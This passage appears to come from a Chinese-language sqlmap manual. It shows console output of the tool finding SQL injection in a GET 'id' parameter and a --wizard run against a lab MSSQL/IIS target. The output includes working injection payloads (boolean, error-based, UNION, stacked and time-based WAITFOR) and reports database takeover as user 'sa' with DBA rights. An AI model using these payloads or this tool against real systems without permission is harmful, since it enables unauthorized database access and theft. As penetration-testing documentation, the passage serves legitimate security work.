dynamic [xx:xx:14] [WARNING] reflective value(s) found and filtering out [xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter ‘id‘ might be injectable (possible DBMS: ‘MySQL‘) [xx:xx:14] [INFO] testing for SQL injection on GET parameter ‘id‘ heuristic (parsing) test showed that the back-end DBMS could be ‘MySQL‘. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y do you want to include all tests for ‘MySQL‘ extending provided level (1) and risk (1)? [Y/n] Y [xx:xx:14] [INFO] testing ‘AND boolean-based blind - WHERE or HAVING clause‘ [xx:xx:14] [INFO] GET parameter ‘id‘ is ‘AND boolean-based blind - WHERE or HAVING clause‘ injectable [xx:xx:14] [INFO] testing ‘MySQL >= 5.0 AND error-based - WHERE or HAVING clause‘ [xx:xx:14] [INFO] GET parameter ‘id‘ is ‘MySQL >= 5.0 AND error-based - WHERE or HAVING clause‘ injectable [xx:xx:14] [INFO] testing ‘MySQL inline queries‘ [xx:xx:14] [INFO] testing ‘MySQL > 5.0.11 stacked queries‘ [xx:xx:14] [INFO] testing ‘MySQL < 5.0.12 stacked queries (heavy query)‘ [xx:xx:14] [INFO] testing ‘MySQL > 5.0.11 AND time-based blind‘ [xx:xx:24] [INFO] GET parameter ‘id‘ is ‘MySQL > 5.0.11 AND time-based blind‘ injectable [xx:xx:24] [INFO] testing ‘MySQL UNION query (NULL) - 1 to 20 columns‘ [xx:xx:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found [xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test [xx:xx:24] [INFO] target URL appears to have 3 columns in query [xx:xx:24] [INFO] GET parameter ‘id‘ is ‘MySQL UNION query (NULL) - 1 to 20 columns‘ injectable [...]参数:--wizard 面向初级用户的参数,可以一步一步教你如何输入针对目标注入。
$ python sqlmap.py --wizard sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user‘s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 11:25:26 Please enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1 POST data (--data) [Enter for None]: Injection difficulty (--level/--risk). Please choose: [1] Normal (default) [2] Medium [3] Hard > 1 Enumeration (--banner/--current-user/etc). Please choose: [1] Basic (default) [2] Smart [3] All > 1 sqlmap is running, please wait.. heuristic (parsing) test showed that the back-end DBMS could be ‘Microsoft SQL Server‘. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y do you want to include all tests for ‘Microsoft SQL Server‘ extending provided level (1) and risk (1)? [Y/n] Y GET parameter ‘id‘ is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection points with a total of 25 HTTP(s) requests: --- Place: GET Parameter: id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1 AND 2986=2986 Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58))) Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) CHAR(70) CHAR(79) CHAR(118) CHAR(106) CHAR(87) CHAR(101) CHAR(119) CHAR(115) CHAR(114) CHAR(77) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)-- Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: id=1; WAITFOR DELAY ‘0:0:5‘-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: id=1 WAITFOR DELAY ‘0:0:5‘-- Type: inline query Title: Microsoft SQL Server/Sybase inline queries Payload: id=(SELECT CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)) --- web server operating system: Windows XP web application technology: ASP, Microsoft IIS 5.1 back-end DBMS operating system: Windows XP Service Pack 2 back-end DBMS: Microsoft SQL Server 2005 banner: --- Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 Copyright (c) 1988-2005 Microsoft Corporation Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2) --- current user: ‘sa‘ current database: ‘testdb‘ current user is DBA: True [*] shutting down at 11:25:52sqlmap手册
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